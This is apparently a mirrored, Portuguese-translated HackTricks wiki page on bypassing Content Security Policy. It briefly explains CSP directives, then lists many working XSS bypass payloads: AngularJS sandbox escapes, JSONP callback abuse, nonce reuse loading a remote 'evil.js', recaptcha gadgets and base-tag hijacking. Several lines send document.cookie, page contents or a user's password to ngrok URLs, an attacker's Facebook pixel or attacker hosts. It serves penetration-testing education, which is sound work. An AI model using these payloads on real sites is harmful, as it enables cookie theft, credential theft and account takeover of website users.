mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
784 lines
48 KiB
Markdown
784 lines
48 KiB
Markdown
|
# Content Security Policy (CSP) Bypass
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
|||
|
|
|||
|
**Insights de Hacking**\
|
|||
|
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
|||
|
|
|||
|
**Notícias de Hacking em Tempo Real**\
|
|||
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
|||
|
|
|||
|
**Últimos Anúncios**\
|
|||
|
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
|
|||
|
|
|||
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
|||
|
|
|||
|
## O que é CSP
|
|||
|
|
|||
|
Content Security Policy (CSP) é reconhecido como uma tecnologia de navegador, principalmente voltada para **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir das quais recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
|
|||
|
|
|||
|
A implementação do CSP é realizada através de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
|
|||
|
|
|||
|
* Implementado via cabeçalho de resposta:
|
|||
|
```
|
|||
|
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
|||
|
```
|
|||
|
* Implementado via meta tag:
|
|||
|
```xml
|
|||
|
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
|||
|
```
|
|||
|
### Headers
|
|||
|
|
|||
|
CSP pode ser aplicado ou monitorado usando esses cabeçalhos:
|
|||
|
|
|||
|
* `Content-Security-Policy`: Aplica o CSP; o navegador bloqueia quaisquer violações.
|
|||
|
* `Content-Security-Policy-Report-Only`: Usado para monitoramento; relata violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção.
|
|||
|
|
|||
|
### Definindo Recursos
|
|||
|
|
|||
|
CSP restringe as origens para carregar tanto conteúdo ativo quanto passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é:
|
|||
|
```bash
|
|||
|
default-src 'none';
|
|||
|
img-src 'self';
|
|||
|
script-src 'self' https://code.jquery.com;
|
|||
|
style-src 'self';
|
|||
|
report-uri /cspreport
|
|||
|
font-src 'self' https://addons.cdn.mozilla.net;
|
|||
|
frame-src 'self' https://ic.paypal.com https://paypal.com;
|
|||
|
media-src https://videos.cdn.mozilla.net;
|
|||
|
object-src 'none';
|
|||
|
```
|
|||
|
### Directives
|
|||
|
|
|||
|
* **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.
|
|||
|
* **default-src**: Define uma política padrão para buscar recursos quando diretivas de busca específicas estão ausentes.
|
|||
|
* **child-src**: Especifica recursos permitidos para trabalhadores da web e conteúdos de quadros incorporados.
|
|||
|
* **connect-src**: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.
|
|||
|
* **frame-src**: Restringe URLs para quadros.
|
|||
|
* **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>` e `<applet>`.
|
|||
|
* **img-src**: Define fontes permitidas para imagens.
|
|||
|
* **font-src**: Especifica fontes válidas para fontes carregadas usando `@font-face`.
|
|||
|
* **manifest-src**: Define fontes permitidas de arquivos de manifesto de aplicativo.
|
|||
|
* **media-src**: Define fontes permitidas para carregar objetos de mídia.
|
|||
|
* **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>` e `<applet>`.
|
|||
|
* **base-uri**: Especifica URLs permitidas para carregamento usando elementos `<base>`.
|
|||
|
* **form-action**: Lista endpoints válidos para envios de formulários.
|
|||
|
* **plugin-types**: Restringe tipos mime que uma página pode invocar.
|
|||
|
* **upgrade-insecure-requests**: Instrui os navegadores a reescrever URLs HTTP para HTTPS.
|
|||
|
* **sandbox**: Aplica restrições semelhantes ao atributo sandbox de um `<iframe>`.
|
|||
|
* **report-to**: Especifica um grupo para o qual um relatório será enviado se a política for violada.
|
|||
|
* **worker-src**: Especifica fontes válidas para scripts Worker, SharedWorker ou ServiceWorker.
|
|||
|
* **prefetch-src**: Especifica fontes válidas para recursos que serão buscados ou pré-buscados.
|
|||
|
* **navigate-to**: Restringe as URLs para as quais um documento pode navegar por qualquer meio (a, formulário, window.location, window.open, etc.)
|
|||
|
|
|||
|
### Sources
|
|||
|
|
|||
|
* `*`: Permite todas as URLs, exceto aquelas com esquemas `data:`, `blob:`, `filesystem:`.
|
|||
|
* `'self'`: Permite carregamento do mesmo domínio.
|
|||
|
* `'data'`: Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).
|
|||
|
* `'none'`: Bloqueia o carregamento de qualquer fonte.
|
|||
|
* `'unsafe-eval'`: Permite o uso de `eval()` e métodos semelhantes, não recomendado por razões de segurança.
|
|||
|
* `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
|
|||
|
* `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline, não recomendado por razões de segurança.
|
|||
|
* `'nonce'`: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
|
|||
|
* Se você tiver execução limitada de JS, é possível obter um nonce usado dentro da página com `doc.defaultView.top.document.querySelector("[nonce]")` e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Load script reusing nonce</summary>
|
|||
|
```html
|
|||
|
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
|||
|
<img src=x ng-on-error='
|
|||
|
doc=$event.target.ownerDocument;
|
|||
|
a=doc.defaultView.top.document.querySelector("[nonce]");
|
|||
|
b=doc.createElement("script");
|
|||
|
b.src="//example.com/evil.js";
|
|||
|
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
|
```
|
|||
|
</details>
|
|||
|
|
|||
|
* `'sha256-<hash>'`: Adiciona à lista branca scripts com um hash sha256 específico.
|
|||
|
* `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido adicionado à lista branca por um nonce ou hash.
|
|||
|
* `'host'`: Especifica um host específico, como `example.com`.
|
|||
|
* `https:`: Restringe URLs àquelas que usam HTTPS.
|
|||
|
* `blob:`: Permite que recursos sejam carregados de URLs Blob (por exemplo, URLs Blob criadas via JavaScript).
|
|||
|
* `filesystem:`: Permite que recursos sejam carregados do sistema de arquivos.
|
|||
|
* `'report-sample'`: Inclui uma amostra do código que viola a política no relatório de violação (útil para depuração).
|
|||
|
* `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).
|
|||
|
* `'strict-origin-when-cross-origin'`: Envia URLs completas ao fazer solicitações de mesma origem, mas apenas envia a origem quando a solicitação é de origem cruzada.
|
|||
|
* `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que redirecionarão imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.
|
|||
|
|
|||
|
## Regras CSP Inseguras
|
|||
|
|
|||
|
### 'unsafe-inline'
|
|||
|
```yaml
|
|||
|
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
|||
|
```
|
|||
|
Payload funcional: `"/><script>alert(1);</script>`
|
|||
|
|
|||
|
#### self + 'unsafe-inline' via Iframes
|
|||
|
|
|||
|
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
|
|||
|
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### 'unsafe-eval'
|
|||
|
|
|||
|
{% hint style="danger" %}
|
|||
|
Isso não está funcionando, para mais informações [**verifique isso**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
|||
|
{% endhint %}
|
|||
|
```yaml
|
|||
|
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
|||
|
```
|
|||
|
Carga útil funcional:
|
|||
|
```html
|
|||
|
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
|||
|
```
|
|||
|
### strict-dynamic
|
|||
|
|
|||
|
Se você conseguir de alguma forma fazer um **código JS permitido criar uma nova tag de script** no DOM com seu código JS, porque um script permitido está criando-a, a **nova tag de script será permitida para ser executada**.
|
|||
|
|
|||
|
### Wildcard (\*)
|
|||
|
```yaml
|
|||
|
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
|||
|
```
|
|||
|
Carga útil funcional:
|
|||
|
```markup
|
|||
|
"/>'><script src=https://attacker-website.com/evil.js></script>
|
|||
|
"/>'><script src=data:text/javascript,alert(1337)></script>
|
|||
|
```
|
|||
|
### Falta de object-src e default-src
|
|||
|
|
|||
|
{% hint style="danger" %}
|
|||
|
**Parece que isso não está mais funcionando**
|
|||
|
{% endhint %}
|
|||
|
```yaml
|
|||
|
Content-Security-Policy: script-src 'self' ;
|
|||
|
```
|
|||
|
Payloads funcionais:
|
|||
|
```markup
|
|||
|
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
|||
|
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
|||
|
<param name="AllowScriptAccess" value="always"></object>
|
|||
|
```
|
|||
|
### Upload de Arquivo + 'self'
|
|||
|
```yaml
|
|||
|
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||
|
```
|
|||
|
Se você pode fazer upload de um arquivo JS, pode contornar este CSP:
|
|||
|
|
|||
|
Carga útil funcional:
|
|||
|
```markup
|
|||
|
"/>'><script src="/uploads/picture.png.js"></script>
|
|||
|
```
|
|||
|
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo determinado de arquivos**.
|
|||
|
|
|||
|
Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitarão a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
|
|||
|
|
|||
|
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão mal interpretada**, você poderia tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglota aqui](https://github.com/Polydet/polyglot-database)).
|
|||
|
|
|||
|
### Form-action
|
|||
|
|
|||
|
Se não for possível injetar JS, você ainda poderia tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
|
|||
|
|
|||
|
### Endpoints de Terceiros + ('unsafe-eval')
|
|||
|
|
|||
|
{% hint style="warning" %}
|
|||
|
Para alguns dos seguintes payloads, **`unsafe-eval` não é nem mesmo necessário**.
|
|||
|
{% endhint %}
|
|||
|
```yaml
|
|||
|
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
|||
|
```
|
|||
|
Carregue uma versão vulnerável do angular e execute JS arbitrário:
|
|||
|
```xml
|
|||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
|||
|
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
|||
|
|
|||
|
|
|||
|
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
|
|||
|
|
|||
|
|
|||
|
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
|
|||
|
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
|
|||
|
|
|||
|
|
|||
|
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
|
|||
|
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
|
|||
|
<iframe/ng-app/ng-csp/srcdoc="
|
|||
|
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
|
|||
|
</script>
|
|||
|
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
|||
|
>
|
|||
|
```
|
|||
|
#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([veja este post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
|||
|
|
|||
|
{% hint style="info" %}
|
|||
|
O post mostra que você poderia **carregar** todas as **bibliotecas** do `cdn.cloudflare.com` (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
|
|||
|
{% endhint %}
|
|||
|
```markup
|
|||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
|||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
|||
|
<div ng-app ng-csp>
|
|||
|
{{$on.curry.call().alert(1)}}
|
|||
|
{{[].empty.call().alert([].empty.call().document.domain)}}
|
|||
|
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
|||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
|
|||
|
<div ng-app ng-csp>
|
|||
|
{{$on.curry.call().alert('xss')}}
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
|
|||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
|
|||
|
<div ng-app ng-csp>
|
|||
|
{{[].erase.call().alert('xss')}}
|
|||
|
</div>
|
|||
|
```
|
|||
|
Angular XSS a partir de um nome de classe:
|
|||
|
```html
|
|||
|
<div ng-app>
|
|||
|
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
|||
|
</div>
|
|||
|
```
|
|||
|
#### Abusando do código JS do google recaptcha
|
|||
|
|
|||
|
De acordo com [**este writeup de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), você pode abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário contornando o CSP:
|
|||
|
```html
|
|||
|
<div
|
|||
|
ng-controller="CarouselController as c"
|
|||
|
ng-init="c.init()"
|
|||
|
>
|
|||
|
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
|
|||
|
<div carousel><div slides></div></div>
|
|||
|
|
|||
|
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
|||
|
```
|
|||
|
Mais [**payloads deste artigo**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
|||
|
```html
|
|||
|
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
|
|||
|
|
|||
|
<!-- Trigger alert -->
|
|||
|
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
|
|||
|
|
|||
|
<!-- Reuse nonce -->
|
|||
|
<img src=x ng-on-error='
|
|||
|
doc=$event.target.ownerDocument;
|
|||
|
a=doc.defaultView.top.document.querySelector("[nonce]");
|
|||
|
b=doc.createElement("script");
|
|||
|
b.src="//example.com/evil.js";
|
|||
|
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
|
```
|
|||
|
#### Abusando www.google.com para redirecionamento aberto
|
|||
|
|
|||
|
A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
|||
|
```
|
|||
|
https://www.google.com/amp/s/example.com/
|
|||
|
```
|
|||
|
Abusando \*.google.com/script.google.com
|
|||
|
|
|||
|
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
|||
|
|
|||
|
### Endpoints de Terceiros + JSONP
|
|||
|
```http
|
|||
|
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
|||
|
```
|
|||
|
Cenários como este, onde `script-src` é definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional:
|
|||
|
```markup
|
|||
|
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
|||
|
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
|||
|
```
|
|||
|
|
|||
|
```html
|
|||
|
https://www.youtube.com/oembed?callback=alert;
|
|||
|
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
|||
|
```
|
|||
|
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para usar para contornar o CSP de diferentes sites.**
|
|||
|
|
|||
|
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Redirect** porque, se o endpoint inicial for confiável, os redirecionamentos são confiáveis.
|
|||
|
|
|||
|
### Abusos de Terceiros
|
|||
|
|
|||
|
Como descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
|
|||
|
|
|||
|
| Entidade | Domínio Permitido | Capacidades |
|
|||
|
| ----------------- | ------------------------------------------- | ------------ |
|
|||
|
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
|||
|
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
|||
|
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
|||
|
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
|||
|
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
|||
|
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
|||
|
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
|||
|
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
|||
|
|
|||
|
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código.
|
|||
|
|
|||
|
Por exemplo, se você encontrar o seguinte CSP:
|
|||
|
```
|
|||
|
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
|
```
|
|||
|
ou
|
|||
|
```
|
|||
|
Content-Security-Policy: connect-src www.facebook.com;
|
|||
|
```
|
|||
|
Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, você segue estes passos gerais:
|
|||
|
|
|||
|
1. Crie uma conta de desenvolvedor do Facebook aqui.
|
|||
|
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
|
|||
|
3. Vá para "Configurações -> Básico" e obtenha seu "App ID".
|
|||
|
4. No site alvo de onde você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do SDK do Facebook através de um "customEvent" e o payload de dados.
|
|||
|
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
|||
|
6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site.
|
|||
|
|
|||
|
Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado assim:
|
|||
|
```JavaScript
|
|||
|
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
|||
|
fbq('trackCustom', 'My-Custom-Event',{
|
|||
|
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
|||
|
});
|
|||
|
```
|
|||
|
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionado anteriormente para explicações adicionais sobre outros abusos de terceiros.
|
|||
|
|
|||
|
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
|||
|
|
|||
|
Além da redireção mencionada para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
|
|||
|
|
|||
|
Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
|
|||
|
```html
|
|||
|
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
|||
|
```
|
|||
|
O navegador, em última análise, carregará `https://example.com/scripts/angular/angular.js`.
|
|||
|
|
|||
|
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com CSP.
|
|||
|
|
|||
|
∑, eles o decodificarão, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
|||
|
|
|||
|
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
|
|||
|
|
|||
|
A solução é não tratar `%2f` como `/` no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.
|
|||
|
|
|||
|
Exemplo Online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
|||
|
|
|||
|
### Execução de JS em Iframes
|
|||
|
|
|||
|
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
|||
|
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### falta de **base-uri**
|
|||
|
|
|||
|
Se a diretiva **base-uri** estiver ausente, você pode abusar disso para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/).
|
|||
|
|
|||
|
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
|
|||
|
Se a página vulnerável for carregada com **httpS**, use uma URL httpS na base.
|
|||
|
```html
|
|||
|
<base href="https://www.attacker.com/">
|
|||
|
```
|
|||
|
### Eventos do AngularJS
|
|||
|
|
|||
|
Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como uma alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, que referencia o objeto de evento nativo do navegador. Este objeto `$event` pode ser explorado para contornar a CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, que contém um array de objetos implicados na cadeia de execução do evento, com o objeto `window` invariavelmente posicionado no final. Esta estrutura é fundamental para táticas de escape de sandbox.
|
|||
|
|
|||
|
Ao direcionar este array para o filtro `orderBy`, é possível iterar sobre ele, aproveitando o elemento terminal (o objeto `window`) para acionar uma função global como `alert()`. O trecho de código demonstrado abaixo elucida este processo:
|
|||
|
```xml
|
|||
|
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
|||
|
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
|||
|
```
|
|||
|
Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregando `$event.path|orderBy` para manipular o array `path`, e aproveitando o objeto `window` para executar a função `alert()`, revelando assim `document.cookie`.
|
|||
|
|
|||
|
**Encontre outras contornações do Angular em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
|||
|
|
|||
|
### AngularJS e domínio na lista branca
|
|||
|
```
|
|||
|
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
|||
|
```
|
|||
|
Uma política CSP que lista domínios permitidos para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [repositório git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
|||
|
|
|||
|
Payloads funcionais:
|
|||
|
```html
|
|||
|
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
|||
|
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
|||
|
|
|||
|
<!-- no longer working -->
|
|||
|
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
|||
|
```
|
|||
|
Outros pontos de execução arbitrária JSONP podem ser encontrados [**aqui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alguns deles foram deletados ou corrigidos)
|
|||
|
|
|||
|
### Bypass via Redirecionamento
|
|||
|
|
|||
|
O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda assim falhará.
|
|||
|
|
|||
|
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.
|
|||
|
|
|||
|
Aqui está um exemplo:
|
|||
|
```html
|
|||
|
<!DOCTYPE html>
|
|||
|
<html>
|
|||
|
<head>
|
|||
|
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
|
|||
|
</head>
|
|||
|
<body>
|
|||
|
<div id=userContent>
|
|||
|
<script src="https://https://www.google.com/test"></script>
|
|||
|
<script src="https://https://www.google.com/a/test"></script>
|
|||
|
<script src="http://localhost:5555/301"></script>
|
|||
|
</div>
|
|||
|
</body>
|
|||
|
</html>
